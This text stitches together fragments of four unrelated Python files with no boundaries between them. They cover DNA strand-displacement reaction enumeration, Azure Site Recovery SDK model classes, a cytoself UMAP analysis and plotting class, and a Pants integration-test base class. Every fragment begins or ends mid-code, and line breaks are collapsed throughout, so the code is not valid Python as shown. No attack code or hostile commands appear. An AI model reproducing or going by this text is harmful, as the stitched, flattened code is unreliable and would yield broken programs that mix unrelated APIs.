True, pkwarning = False): """ Returns a list of reaction pathways which can be produced by 2-1 binding reactions of the argument complexes. The 2-1 binding reaction is the hybridization of two complementary unpaired domains, each in a different complex, to produce a single, unpseudoknotted product complex containing all of the strands contained in either of the original complexes. """ r1_doms = reactant1.available_domains r2_doms = reactant2.available_domains reactions = [] # Iterate through all the free domains in reactant1 for (dom1, s1, d1) in r1_doms: # For each, find any domains in reactant2 that could bind for (dom2, s2, d2) in r2_doms: # If it can pair, this is one possible reaction (this kind of # reaction cannot possibly produce a pseudoknotted structure) assert (dom1 is ~dom2) is (dom2 is ~dom1) if dom1 is ~dom2: # combine the two complexes into one, but do not perform the association reactions.append(join_complexes_21( reactant1, (s1, d1), reactant2, (s2, d2))) if pkwarning: # check if potential pseudoknots are there: pk1_doms = reactant1.pk_domains pk2_doms = reactant2.pk_domains # Iterate through all the free domains in reactant1 for (dom1, strand_num1, dom_num1) in r1_doms + pk1_doms: # For each, find any domains in reactant2 that could bind for (dom2, strand_num2, dom_num2) in r2_doms + pk2_doms: if (dom1, strand_num1, dom_num1) in r1_doms and \ (dom2, strand_num2, dom_num2) in r2_doms: # Exclude the non-pseudoknotted interactions continue if dom1 is ~dom2: log.warning("potential pk-interaction: {} and {}".format(reactant1, reactant2)) output = set() for cplx, loc1, loc2 in reactions: def findloc(trip1, trip2): (dom1, _, dloc1) = trip1 (dom2, _, dloc2) = trip2 return dloc1 == loc1 and dloc2 == loc2 # build "before" and "after" loop structures via find_on_loop ... [(loc1s, before, loc2s, after)] = find_on_loop(cplx, loc1, findloc) if max_helix: loc1s, before, loc2s, after = zipper(cplx, loc1s[0], before, loc2s[0], after, filter_bind11) [loc1s, before, loc2s, after] = list(map(Loop, [loc1s, before, loc2s, after])) product = do_bind11(cplx, loc1s.domain_locs, loc2s.domain_locs) reaction = PepperReaction([reactant1, reactant2], [product], 'bind21') if reaction.rate_constant[0] is None: assert [x == ~y for x,y in zip(loc1s.domains, loc2s.domains)] reaction.rate_constant = (bimolecular_binding_rate(loc1s.dlength), '/M/s') output.add(reaction) return sorted(output) def join_complexes_21(complex1, loc1, complex2, loc2): """ Joins two complexes into one disconnected, base-pair-compatible complex. Returns the disconnected complex and the loci for pairing. """ # a value larger than any possible location on the pair_table. maxlen = complex1.size + complex2.size + 1 for e, (st, pt) in enumerate(complex1.rotate_pt()): l1 = complex1.rotate_pairtable_loc(loc1, e) li, ext = make_loop_index(pt) if li[l1[0]][l1[1]] == 0: seq1 = strand_table_to_sequence(st) pt[l1[0]][l1[1]] = (maxlen, maxlen) # add an additional '(' ptb1 = pair_table_to_dot_bracket(pt) break for e, (st, pt) in enumerate(complex2.rotate_pt()): l2 = complex2.rotate_pairtable_loc(loc2, e) li, ext = make_loop_index(pt) if li[l2[0]][l2[1]] == 0: seq2 = strand_table_to_sequence(st) pt[l2[0]][l2[1]] = (-1, -1) # add an additional ')' ptb2 = pair_table_to_dot_bracket(pt) break # build the new sequence and structure *including* the new pair newseq = seq1 + ['+'] + seq2 newstr = ptb1 + ['+'] + ptb2 # update l2 from the new structure combined = make_pair_table(newstr) l2 = combined[l1[0]][l1[1]] # remove the new pair again ... combined[l1[0]][l1[1]] = None combined[l2[0]][l2[1]] = None # update the structure to the unpaired (disconnected) version. newstr = pair_table_to_dot_bracket(combined) try: new_complex = PepperComplex(newseq, newstr) except SingletonError as err: new_complex = err.existing # strands may be rotated in the new complex ... for e, (st, pt) in enumerate(new_complex.rotate()): if st == newseq and pt == newstr: rotate = e break else: raise ValueError(f'Joining of complexes {complex1} and {complex2} failed.') loc1 = new_complex.rotate_pairtable_loc(l1, -rotate) loc2 = new_complex.rotate_pairtable_loc(l2, -rotate) if loc1 > loc2: (loc1, loc2) = (loc2, loc1) return new_complex, loc1, loc2 def open1N(reactant, max_helix = True, release_11 = 6, release_1N = 6, dG_bp = -1.7): """ Returns a list of open reactions. Args: reactant (PepperComplex): The reactant complex max_helix (bool, optional): Use max-helix notion. Defaults to True. release_11 (int, optional): Threshold length for a open11 reaction. Defaults to 6. release_1N (int, optional): Threshold length for a open12 reaction. Defaults to 6. Returns: [PepperReactions] """ def get_max_helix(loc, structure): # A: Strand/domain position on "top" strand - CG 5/21 helix_startA = list(loc) helix_length = len(reactant.get_domain(loc)) # B: Strand/domain position on "bottom" strand - CG 5/21 helix_startB = list(structure[loc[0]][loc[1]]) # If the domain is bound to an earlier domain, then we have # already considered it, so skip it if (helix_startB < helix_startA): return None, None, None helix_endA = helix_startA[:] helix_endB = helix_startB[:] # Now iterate through the whole helix to find the other end of # this one (The helix ends at the first strand break from # either direction) ext_fw, ext_bw = False, False while True: # Strands run in opposite directions, so A must be incremented # and B decremented in order that both pointers move "right" # along the helix - CG 5/21 helix_endA[1] += 1 helix_endB[1] -= 1 # If one of the strands has broken, the helix has ended if helix_endA[1] >= reactant.strand_length(helix_endA[0]): break elif helix_endB[1] < 0: break # If these domains aren't bound to each other, the helix has ended if tuple(helix_endA) != structure[helix_endB[0]][helix_endB[1]]: break # Add the current domain to the current helix temp_bl = (helix_endA[0], helix_endA[1]) helix_length += len(reactant.get_domain(temp_bl)) ext_fw = True helix_endA[1] -= 1 helix_endB[1] += 1 # We must also iterate in the other direction while True: helix_startA[1] -= 1 helix_startB[1] += 1 # If one of the strands has broken, the helix has ended if helix_startA[1] < 0: break elif helix_startB[1] >= reactant.strand_length(helix_startB[0]): break # If these domains aren't bound to each other, the helix has ended if tuple(helix_startA) != structure[helix_startB[0]][helix_startB[1]]: break # Add the current domain to the current helix temp_bl = (helix_startA[0], helix_startA[1]) helix_length += len(reactant.get_domain(temp_bl)) ext_bw = True # Move start location back to the first domain in the helix helix_startA[1] += 1 helix_startB[1] -= 1 if ext_fw and ext_bw : # we only want to allow moves that start at helix ends! return None, None, None return helix_startA, helix_endA, helix_length # remember the larger release cutoff to avoid reactions opening longer helices. max_release = max(release_11, release_1N) if release_11 and release_1N else 0 reactions = [] structure = list(reactant.pair_table) if not max_helix: # Iterate through all the domains for (strand_index, strand) in
self).__init__(**kwargs) self.value = value self.next_link = next_link class RecoveryServicesProviderProperties(msrest.serialization.Model): """Recovery services provider properties. :param fabric_type: Type of the site. :type fabric_type: str :param friendly_name: Friendly name of the DRA. :type friendly_name: str :param provider_version: The provider version. :type provider_version: str :param server_version: The fabric provider. :type server_version: str :param provider_version_state: DRA version status. :type provider_version_state: str :param provider_version_expiry_date: Expiry date of the version. :type provider_version_expiry_date: ~datetime.datetime :param fabric_friendly_name: The fabric friendly name. :type fabric_friendly_name: str :param last_heart_beat: Time when last heartbeat was sent by the DRA. :type last_heart_beat: ~datetime.datetime :param connection_status: A value indicating whether DRA is responsive. :type connection_status: str :param protected_item_count: Number of protected VMs currently managed by the DRA. :type protected_item_count: int :param allowed_scenarios: The scenarios allowed on this provider. :type allowed_scenarios: list[str] :param health_error_details: The recovery services provider health error details. :type health_error_details: list[~azure.mgmt.recoveryservicessiterecovery.models.HealthError] :param dra_identifier: The DRA Id. :type dra_identifier: str :param machine_id: The machine Id. :type machine_id: str :param machine_name: The machine name. :type machine_name: str :param bios_id: The Bios Id. :type bios_id: str :param authentication_identity_details: The authentication identity details. :type authentication_identity_details: ~azure.mgmt.recoveryservicessiterecovery.models.IdentityProviderDetails :param resource_access_identity_details: The resource access identity details. :type resource_access_identity_details: ~azure.mgmt.recoveryservicessiterecovery.models.IdentityProviderDetails :param data_plane_authentication_identity_details: The data plane authentication identity details. :type data_plane_authentication_identity_details: ~azure.mgmt.recoveryservicessiterecovery.models.IdentityProviderDetails :param provider_version_details: The provider version details. :type provider_version_details: ~azure.mgmt.recoveryservicessiterecovery.models.VersionDetails """ _attribute_map = { 'fabric_type': {'key': 'fabricType', 'type': 'str'}, 'friendly_name': {'key': 'friendlyName', 'type': 'str'}, 'provider_version': {'key': 'providerVersion', 'type': 'str'}, 'server_version': {'key': 'serverVersion', 'type': 'str'}, 'provider_version_state': {'key': 'providerVersionState', 'type': 'str'}, 'provider_version_expiry_date': {'key': 'providerVersionExpiryDate', 'type': 'iso-8601'}, 'fabric_friendly_name': {'key': 'fabricFriendlyName', 'type': 'str'}, 'last_heart_beat': {'key': 'lastHeartBeat', 'type': 'iso-8601'}, 'connection_status': {'key': 'connectionStatus', 'type': 'str'}, 'protected_item_count': {'key': 'protectedItemCount', 'type': 'int'}, 'allowed_scenarios': {'key': 'allowedScenarios', 'type': '[str]'}, 'health_error_details': {'key': 'healthErrorDetails', 'type': '[HealthError]'}, 'dra_identifier': {'key': 'draIdentifier', 'type': 'str'}, 'machine_id': {'key': 'machineId', 'type': 'str'}, 'machine_name': {'key': 'machineName', 'type': 'str'}, 'bios_id': {'key': 'biosId', 'type': 'str'}, 'authentication_identity_details': {'key': 'authenticationIdentityDetails', 'type': 'IdentityProviderDetails'}, 'resource_access_identity_details': {'key': 'resourceAccessIdentityDetails', 'type': 'IdentityProviderDetails'}, 'data_plane_authentication_identity_details': {'key': 'dataPlaneAuthenticationIdentityDetails', 'type': 'IdentityProviderDetails'}, 'provider_version_details': {'key': 'providerVersionDetails', 'type': 'VersionDetails'}, } def __init__( self, *, fabric_type: Optional[str] = None, friendly_name: Optional[str] = None, provider_version: Optional[str] = None, server_version: Optional[str] = None, provider_version_state: Optional[str] = None, provider_version_expiry_date: Optional[datetime.datetime] = None, fabric_friendly_name: Optional[str] = None, last_heart_beat: Optional[datetime.datetime] = None, connection_status: Optional[str] = None, protected_item_count: Optional[int] = None, allowed_scenarios: Optional[List[str]] = None, health_error_details: Optional[List["HealthError"]] = None, dra_identifier: Optional[str] = None, machine_id: Optional[str] = None, machine_name: Optional[str] = None, bios_id: Optional[str] = None, authentication_identity_details: Optional["IdentityProviderDetails"] = None, resource_access_identity_details: Optional["IdentityProviderDetails"] = None, data_plane_authentication_identity_details: Optional["IdentityProviderDetails"] = None, provider_version_details: Optional["VersionDetails"] = None, **kwargs ): super(RecoveryServicesProviderProperties, self).__init__(**kwargs) self.fabric_type = fabric_type self.friendly_name = friendly_name self.provider_version = provider_version self.server_version = server_version self.provider_version_state = provider_version_state self.provider_version_expiry_date = provider_version_expiry_date self.fabric_friendly_name = fabric_friendly_name self.last_heart_beat = last_heart_beat self.connection_status = connection_status self.protected_item_count = protected_item_count self.allowed_scenarios = allowed_scenarios self.health_error_details = health_error_details self.dra_identifier = dra_identifier self.machine_id = machine_id self.machine_name = machine_name self.bios_id = bios_id self.authentication_identity_details = authentication_identity_details self.resource_access_identity_details = resource_access_identity_details self.data_plane_authentication_identity_details = data_plane_authentication_identity_details self.provider_version_details = provider_version_details class RemoveDisksInput(msrest.serialization.Model): """Input for remove disk(s) operation. :param properties: Remove disk input properties. :type properties: ~azure.mgmt.recoveryservicessiterecovery.models.RemoveDisksInputProperties """ _attribute_map = { 'properties': {'key': 'properties', 'type': 'RemoveDisksInputProperties'}, } def __init__( self, *, properties: Optional["RemoveDisksInputProperties"] = None, **kwargs ): super(RemoveDisksInput, self).__init__(**kwargs) self.properties = properties class RemoveDisksInputProperties(msrest.serialization.Model): """Remove Disk input properties. :param provider_specific_details: The ReplicationProviderInput. For HyperVReplicaAzure provider, it will be AzureEnableProtectionInput object. For San provider, it will be SanEnableProtectionInput object. For HyperVReplicaAzure provider, it can be null. :type provider_specific_details: ~azure.mgmt.recoveryservicessiterecovery.models.RemoveDisksProviderSpecificInput """ _attribute_map = { 'provider_specific_details': {'key': 'providerSpecificDetails', 'type': 'RemoveDisksProviderSpecificInput'}, } def __init__( self, *, provider_specific_details: Optional["RemoveDisksProviderSpecificInput"] = None, **kwargs ): super(RemoveDisksInputProperties, self).__init__(**kwargs) self.provider_specific_details = provider_specific_details class RemoveProtectionContainerMappingInput(msrest.serialization.Model): """Container unpairing input. :param properties: Configure protection input properties. :type properties: ~azure.mgmt.recoveryservicessiterecovery.models.RemoveProtectionContainerMappingInputProperties """ _attribute_map = { 'properties': {'key': 'properties', 'type': 'RemoveProtectionContainerMappingInputProperties'}, } def __init__( self, *, properties: Optional["RemoveProtectionContainerMappingInputProperties"] = None, **kwargs ): super(RemoveProtectionContainerMappingInput, self).__init__(**kwargs) self.properties = properties class RemoveProtectionContainerMappingInputProperties(msrest.serialization.Model): """Unpairing input properties. :param provider_specific_input: Provider specific input for unpairing. :type provider_specific_input: ~azure.mgmt.recoveryservicessiterecovery.models.ReplicationProviderContainerUnmappingInput """ _attribute_map = { 'provider_specific_input': {'key': 'providerSpecificInput', 'type': 'ReplicationProviderContainerUnmappingInput'}, } def __init__( self, *, provider_specific_input: Optional["ReplicationProviderContainerUnmappingInput"] = None, **kwargs ): super(RemoveProtectionContainerMappingInputProperties, self).__init__(**kwargs) self.provider_specific_input = provider_specific_input class RenewCertificateInput(msrest.serialization.Model): """Certificate renewal input. :param properties: Renew certificate input properties. :type properties: ~azure.mgmt.recoveryservicessiterecovery.models.RenewCertificateInputProperties """ _attribute_map = { 'properties': {'key': 'properties', 'type': 'RenewCertificateInputProperties'}, } def __init__( self, *, properties: Optional["RenewCertificateInputProperties"] = None, **kwargs ): super(RenewCertificateInput, self).__init__(**kwargs) self.properties = properties class RenewCertificateInputProperties(msrest.serialization.Model): """Renew Certificate input properties. :param renew_certificate_type: Renew certificate type. :type renew_certificate_type: str """ _attribute_map = { 'renew_certificate_type': {'key': 'renewCertificateType', 'type': 'str'}, } def __init__( self, *, renew_certificate_type: Optional[str] = None, **kwargs ): super(RenewCertificateInputProperties, self).__init__(**kwargs) self.renew_certificate_type = renew_certificate_type class ReplicationAgentDetails(msrest.serialization.Model): """Replication agent details. Variables are only populated by the server, and will be ignored when sending a request. :ivar id: The replication agent Id. :vartype id: str :ivar name: The replication agent name. :vartype name: str :ivar bios_id: The replication agent Bios Id. :vartype bios_id: str :ivar fabric_object_id: The fabric object Id. :vartype fabric_object_id: str :ivar fqdn: The replication agent Fqdn. :vartype fqdn: str :ivar version: The version. :vartype version: str :ivar last_heartbeat_utc: The last heartbeat received from the replication agent. :vartype last_heartbeat_utc: ~datetime.datetime :ivar health: The health of the replication agent. Possible values include: "None", "Normal", "Warning", "Critical". :vartype health: str or ~azure.mgmt.recoveryservicessiterecovery.models.ProtectionHealth :ivar health_errors: The health errors. :vartype health_errors: list[~azure.mgmt.recoveryservicessiterecovery.models.HealthError] """ _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'bios_id': {'readonly': True}, 'fabric_object_id': {'readonly': True}, 'fqdn': {'readonly': True}, 'version': {'readonly': True}, 'last_heartbeat_utc': {'readonly': True}, 'health': {'readonly': True}, 'health_errors': {'readonly': True}, } _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'bios_id': {'key': 'biosId', 'type': 'str'}, 'fabric_object_id': {'key': 'fabricObjectId', 'type': 'str'}, 'fqdn': {'key': 'fqdn', 'type': 'str'}, 'version': {'key': 'version', 'type': 'str'}, 'last_heartbeat_utc': {'key': 'lastHeartbeatUtc', 'type': 'iso-8601'}, 'health': {'key': 'health', 'type': 'str'}, 'health_errors': {'key': 'healthErrors', 'type': '[HealthError]'}, } def __init__( self, **kwargs ): super(ReplicationAgentDetails, self).__init__(**kwargs) self.id = None self.name = None self.bios_id = None self.fabric_object_id = None self.fqdn = None self.version = None self.last_heartbeat_utc = None self.health = None self.health_errors = None class ReplicationEligibilityResults(msrest.serialization.Model): """Replication eligibility results response model. Variables are only populated by the server, and will be ignored when sending a request. :ivar name: Gets the name of this object. :vartype name: str :ivar type: Gets the object type. :vartype type: str :ivar id: Gets Unique ARM identifier for this object. :vartype id: str :ivar properties: Gets properties model for replication eligibility results API. :vartype properties: ~azure.mgmt.recoveryservicessiterecovery.models.ReplicationEligibilityResultsProperties """ _validation = { 'name': {'readonly': True}, 'type': {'readonly': True}, 'id': {'readonly': True}, 'properties': {'readonly': True}, } _attribute_map = { 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'id': {'key': 'id', 'type': 'str'}, 'properties': {'key': 'properties', 'type': 'ReplicationEligibilityResultsProperties'}, } def __init__( self, **kwargs ): super(ReplicationEligibilityResults, self).__init__(**kwargs) self.name = None self.type = None self.id = None self.properties = None class ReplicationEligibilityResultsCollection(msrest.serialization.Model): """Replication eligibility results collection response model. :param value: The replication eligibility results details. :type value: list[~azure.mgmt.recoveryservicessiterecovery.models.ReplicationEligibilityResults] """ _attribute_map = { 'value': {'key': 'value', 'type': '[ReplicationEligibilityResults]'}, } def __init__( self, *, value: Optional[List["ReplicationEligibilityResults"]] = None, **kwargs ): super(ReplicationEligibilityResultsCollection, self).__init__(**kwargs) self.value = value class ReplicationEligibilityResultsErrorInfo(msrest.serialization.Model): """Error model that can be exposed to the user. Variables are only populated by the server, and will be ignored when sending a request. :param code: The error code. :type code: str :param message: The error message. :type message: str :param possible_causes: The possible causes. :type possible_causes: str :param recommended_action: The recommended action. :type recommended_action: str :ivar status: The error status. :vartype status: str """ _validation = { 'status': {'readonly': True}, } _attribute_map = { 'code': {'key': 'code', 'type': 'str'}, 'message': {'key': 'message', 'type': 'str'}, 'possible_causes': {'key': 'possibleCauses', 'type': 'str'}, 'recommended_action': {'key': 'recommendedAction', 'type': 'str'}, 'status': {'key': 'status', 'type': 'str'}, } def __init__( self, *, code: Optional[str] = None, message: Optional[str] = None, possible_causes: Optional[str] = None, recommended_action: Optional[str] = None, **kwargs ): super(ReplicationEligibilityResultsErrorInfo, self).__init__(**kwargs) self.code = code self.message = message self.possible_causes = possible_causes self.recommended_action = recommended_action self.status = None class ReplicationEligibilityResultsProperties(msrest.serialization.Model): """Properties model for replication eligibility results API. Variables are only populated by the server, and will be ignored when sending a request. :ivar client_request_id: The client request Id.
import math import os import pickle from collections import Iterable, deque import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from tqdm import tqdm import umap import colorcet as cc import seaborn as sns from warnings import warn from cytoself.analysis.pearson_correlation import selfpearson_multi class Analytics: """ A class object for analyzing and visualizing data. """ def __init__(self, model=None, data_manager=None, gt_table=None): """ :param modelect: model object :param datamanager: data manager :param gt_table: ground true table """ self.model = model self.data_manager = data_manager self.gt_table = gt_table self.vec_umap = None self.ind_umap = None self.indhist_umap = None self.model_vec_umap = [] self.model_ind_umap = [] self.model_indhist_umap = [] self.heatmaps_all = [] self.corr_idx_idx = [] self.matrix_cellid_idx = [] self.dendrogram_index = [] if self.model is None or self.model.model is None: warn("No CNN model is built in modelect.", UserWarning) def calc_umap_embvec( self, data=None, selected_ind=None, target_vq_layer=None, savepath=None, filename="vqvec_umap", verbose=True, ): """ Compute umap of embedding vectors. :param data: embedding vector data :param selected_ind: only selected feature index will be used to compute umap :param target_vq_layer: the vq layer to output embedding vector; 1 for local representation, 2 for global representation :param savepath: save path :param filename: file name :param verbose: verbosity of umap.UMAP """ if data is None: if self.model.embvec: data = self.model.embvec else: self.model.calc_embvec(self.data_manager.test_data) data = self.model.embvec else: if not isinstance(data, list): data = [data] if selected_ind is not None: data = [d[:, i] for d, i in zip(data, selected_ind)] if target_vq_layer: if isinstance(target_vq_layer, int): target_vq_layer = [target_vq_layer] data = [ d if i + 1 in target_vq_layer else np.array([]) for i, d in enumerate(data) ] if self.model_vec_umap != []: warn( "vqvec models is not empty. vqvec models will be overwritten.", UserWarning, ) print(f"Computing UMAP...") self.model_vec_umap = [] self.vec_umap = [] for v in data: if min(v.shape) > 0: reducer = umap.UMAP(verbose=verbose) u = reducer.fit_transform(v.reshape(v.shape[0], -1)) else: reducer = [] u = np.array([]) self.model_vec_umap.append(reducer) self.vec_umap.append(u) if savepath: if savepath == "default": savepath = self.model.savepath_dict["emb"] for i, v in enumerate(self.vec_umap): if min(v.shape) > 0: np.save(os.path.join(savepath, f"{filename}{i + 1}.npy"), v) try: [ pickle.dump( v, open( os.path.join( savepath, f"model_{filename}{i + 1}.ump" ), "wb", ), protocol=4, ) for i, v in enumerate(self.model_vec_umap) if v != [] ] except: print("UMAP model was not saved.") def calc_umap_embind( self, data=None, selected_ind=None, target_vq_layer=None, savepath=None, filename="vqind_umap", verbose=True, ): """ Compute umap of embedding index. :param data: embedding index data :param selected_ind: only selected feature index will be used to compute umap :param target_vq_layer: the vq layer to output embedding vector; 1 for local representation, 2 for global representation :param savepath: save path :param filename: file name :param verbose: verbosity of umap.UMAP """ if data is None: if self.model.embind: data = self.model.embind else: self.model.calc_embind(self.data_manager.test_data) data = self.model.embind else: if not isinstance(data, list): data = [data] if selected_ind is not None: data = [d[:, i] for d, i in zip(data, selected_ind)] if target_vq_layer: if isinstance(target_vq_layer, int): target_vq_layer = [target_vq_layer] data = [ d if i + 1 in target_vq_layer else np.array([]) for i, d in enumerate(data) ] if self.model_ind_umap != []: warn("vqind models is not empty. vqind models will be overwritten.") print(f"Computing UMAP...") self.model_ind_umap = [] self.ind_umap = [] for v in data: if min(v.shape) > 0: reducer = umap.UMAP(verbose=verbose) u = reducer.fit_transform(v.reshape(v.shape[0], -1)) else: reducer = [] u = np.array([]) self.model_ind_umap.append(reducer) self.ind_umap.append(u) if savepath: if savepath == "default": savepath = self.model.savepath_dict["emb"] for i, v in enumerate(self.ind_umap): if min(v.shape) > 0: np.save(os.path.join(savepath, f"{filename}{i + 1}.npy"), v) try: [ pickle.dump( v, open( os.path.join(savepath, f"model_{filename}{i + 1}.ump"), "wb", ), protocol=4, ) for i, v in enumerate(self.model_ind_umap) if v != [] ] except: print("UMAP model was not saved.") def calc_umap_embindhist( self, data=None, selected_ind=None, target_vq_layer=None, savepath=None, filename="vqindhist_umap", verbose=True, ): """ Copute umap with vq index histogram :param data: embedding index histogram data :param selected_ind: only selected feature index will be used to compute umap :param target_vq_layer: the vq layer to output embedding vector; 1 for local representation, 2 for global representation :param savepath: saving path :param filename: file name :param verbose: verbosity of umap.UMAP """ if data is None: if self.model.embindhist: data = self.model.embindhist else: self.model.calc_embindhist(self.data_manager.test_data) data = self.model.embindhist else: if not isinstance(data, list): data = [data] if selected_ind is not None: data = [d[:, i] for d, i in zip(data, selected_ind)] if target_vq_layer: if isinstance(target_vq_layer, int): target_vq_layer = [target_vq_layer] data = [ d if i + 1 in target_vq_layer else np.array([]) for i, d in enumerate(data) ] if self.model_indhist_umap != []: warn( "vqindhist models is not empty. vqindhist models will be overwritten.", UserWarning, ) print(f"Computing UMAP...") self.model_indhist_umap = [] self.indhist_umap = [] for v in data: if min(v.shape) > 0: reducer = umap.UMAP(verbose=verbose) u = reducer.fit_transform(v.reshape(v.shape[0], -1)) else: reducer = [] u = np.array([]) self.model_indhist_umap.append(reducer) self.indhist_umap.append(u) if savepath: if savepath == "default": savepath = self.model.savepath_dict["emb"] for i, v in enumerate(self.indhist_umap): if min(v.shape) > 0: np.save(os.path.join(savepath, f"{filename}{i + 1}.npy"), v) try: [ pickle.dump( v, open( os.path.join( savepath, f"model_{filename}{i + 1}.ump" ), "wb", ), protocol=4, ) for i, v in enumerate(self.model_indhist_umap) if v != [] ] except: print("UMAP model was not saved.") def transform_umap( self, data=None, model_type=None, selected_ind=None, savepath=None, filename="umap_transfered", ): """ Convert input data to UMAP embedding; This is used when you already have a UMAP model. :param data: input data :param model_type: 'vec' or 'ind' or 'indhist' :param selected_ind: only run data with selected indices :param savepath: saving path :param filename: file name :return: umap embeddings """ if not isinstance(data, list): data = [data] if model_type == "vec": model = self.model_vec_umap elif model_type == "ind": model = self.model_ind_umap elif model_type == "indhist": model = self.model_indhist_umap else: warn('Unknown model_type. Only "vec", "ind" or "indhist" is acceptable.') if model == []: print("model is empty. Load model or create a model first.") else: if len(data) != len(model): raise ValueError( f"The number of datasets ({len(data)}) does not match with the number of models ({len(model)})." ) if selected_ind is not None: data = [d[:, i] for d, i in zip(data, selected_ind)] results = [] for v, m in zip(data, model): if min(v.shape) > 0: u = m.transform(v.reshape(v.shape[0], -1)) else: u = np.array([]) results.append(u) if savepath: if savepath == "default": savepath = self.model.savepath_dict["emb"] [ np.save(os.path.join(savepath, f"{filename}{i + 1}.npy"), v) for i, v in enumerate(results) ] return results def plot_umaps_gt( self, data=None, label=None, gt_table=None, savepath=None, target_vq_layer=2, filename="umap_gt", cmap="tab20", xlim=None, ylim=None, titles=None, subplot_shape=None, ): """ Plot umaps by ground true labels :param data: vq index histogram data :param label: label :param gt_table: ground true table :param savepath: saving path :param target_vq_layer: 1 for local representation, 2 for global representation :param filename: file name :param cmap: color map :param xlim: x axis limits; [[low, high], [low, high]] :param ylim: y axis limits; [[low, high], [low, high]] :param titles: custom titles for each plot :param subplot_shape: custom subplot shape """ if label is None: label = self.data_manager.test_label if gt_table is None: if self.gt_table is None: raise ValueError("gt_table is not provided.") else: gt_table = self.gt_table if savepath == "default": savepath = self.model.savepath_dict["umaps"] if isinstance(target_vq_layer, int): target_vq_layer = [target_vq_layer] gt_name = gt_table.iloc[:, 0] uniq_group = np.unique(gt_table.iloc[:, 1]) # make sure data is in a list data = data if isinstance(data, list) else [data] n_subplots = 0 for d in data: if min(d.shape) > 0: n_subplots += 1 # get subplot shape if subplot_shape is None: ncol = math.ceil(math.sqrt(n_subplots)) nrow = math.ceil(n_subplots / ncol) else: nrow, ncol = subplot_shape plt.figure(figsize=(6 * ncol, 5 * nrow)) subplot_ind = 1 for vqi, idht in enumerate(data): if vqi + 1 in target_vq_layer: print(f"Plotting {filename} subplot{vqi} ...") plt.subplot(nrow, ncol, subplot_ind) if min(idht.shape) > 0: ind = np.isin(label[:, 0], gt_name) # plot the layer of 'others' sctrs = plt.scatter( idht[~ind, 0], idht[~ind, 1], s=0.2, c=np.array(cm.Greys(25)).reshape(1, -1), alpha=0.1, label="others", ) # plot each cluster layer for i, fname in enumerate(tqdm(uniq_group)): group0 = gt_table[gt_table.iloc[:, 1] == fname] ind = np.isin(label[:, 0], group0.iloc[:, 0]) data0 = idht[ind] plt.scatter( data0[:, 0], data0[:, 1], s=0.2, c=np.array(cm.get_cmap(cmap).colors[i]).reshape(1, -1), label=fname, ) if xlim is not None and xlim[vqi] is
<gh_stars>0 # coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import absolute_import, division, print_function, unicode_literals import ConfigParser import glob import os import shutil import unittest from collections import namedtuple from contextlib import contextmanager from operator import eq, ne from threading import Lock from colors import strip_color from pants.base.build_environment import get_buildroot from pants.base.build_file import BuildFile from pants.fs.archive import ZIP from pants.subsystem.subsystem import Subsystem from pants.util.contextutil import environment_as, pushd, temporary_dir from pants.util.dirutil import safe_mkdir, safe_mkdir_for, safe_open from pants.util.process_handler import SubprocessProcessHandler, subprocess from pants_test.testutils.file_test_util import check_symlinks, contains_exact_files PantsResult = namedtuple( 'PantsResult', ['command', 'returncode', 'stdout_data', 'stderr_data', 'workdir']) def ensure_cached(expected_num_artifacts=None): """Decorator for asserting cache writes in an integration test. :param expected_num_artifacts: Expected number of artifacts to be in the task's cache after running the test. If unspecified, will assert that the number of artifacts in the cache is non-zero. """ def decorator(test_fn): def wrapper(self, *args, **kwargs): with temporary_dir() as artifact_cache: cache_args = '--cache-write-to=["{}"]'.format(artifact_cache) test_fn(self, *args + (cache_args,), **kwargs) num_artifacts = 0 for (root, _, files) in os.walk(artifact_cache): print(root, files) num_artifacts += len(files) if expected_num_artifacts is None: self.assertNotEqual(num_artifacts, 0) else: self.assertEqual(num_artifacts, expected_num_artifacts) return wrapper return decorator def ensure_resolver(f): """A decorator for running an integration test with ivy and coursier as the resolver.""" def wrapper(self, *args, **kwargs): for env_var_value in ('ivy', 'coursier'): with environment_as(HERMETIC_ENV='PANTS_RESOLVER_RESOLVER', PANTS_RESOLVER_RESOLVER=env_var_value): f(self, *args, **kwargs) return wrapper def ensure_daemon(f): """A decorator for running an integration test with and without the daemon enabled.""" def wrapper(self, *args, **kwargs): for enable_daemon in ('false', 'true',): with temporary_dir() as subprocess_dir: env = { 'HERMETIC_ENV': 'PANTS_ENABLE_PANTSD,PANTS_ENABLE_V2_ENGINE,PANTS_SUBPROCESSDIR', 'PANTS_ENABLE_PANTSD': enable_daemon, 'PANTS_ENABLE_V2_ENGINE': enable_daemon, 'PANTS_SUBPROCESSDIR': subprocess_dir, } with environment_as(**env): try: f(self, *args, **kwargs) finally: if enable_daemon: self.assert_success(self.run_pants(['kill-pantsd'])) return wrapper class PantsRunIntegrationTest(unittest.TestCase): """A base class useful for integration tests for targets in the same repo.""" PANTS_SUCCESS_CODE = 0 PANTS_SCRIPT_NAME = 'pants' @classmethod def hermetic(cls): """Subclasses may override to acknowledge that they are hermetic. That is, that they should run without reading the real pants.ini. """ return False @classmethod def hermetic_env_whitelist(cls): """A whitelist of environment variables to propagate to tests when hermetic=True.""" return [ # Used in the wrapper script to locate a rust install. 'HOME', 'PANTS_PROFILE', ] @classmethod def has_python_version(cls, version): """Returns true if the current system has the specified version of python. :param version: A python version string, such as 2.7, 3. """ return cls.python_interpreter_path(version) is not None @classmethod def python_interpreter_path(cls, version): """Returns the interpreter path if the current system has the specified version of python. :param version: A python version string, such as 2.7, 3. """ try: py_path = subprocess.check_output(['python%s' % version, '-c', 'import sys; print(sys.executable)']).strip() return os.path.realpath(py_path) except OSError: return None def setUp(self): super(PantsRunIntegrationTest, self).setUp() # Some integration tests rely on clean subsystem state (e.g., to set up a DistributionLocator). Subsystem.reset() def temporary_workdir(self, cleanup=True): # We can hard-code '.pants.d' here because we know that will always be its value # in the pantsbuild/pants repo (e.g., that's what we .gitignore in that repo). # Grabbing the pants_workdir config would require this pants's config object, # which we don't have a reference to here. root = os.path.join(get_buildroot(), '.pants.d', 'tmp') safe_mkdir(root) return temporary_dir(root_dir=root, cleanup=cleanup, suffix='.pants.d') def temporary_cachedir(self): return temporary_dir(suffix='__CACHEDIR') def temporary_sourcedir(self): return 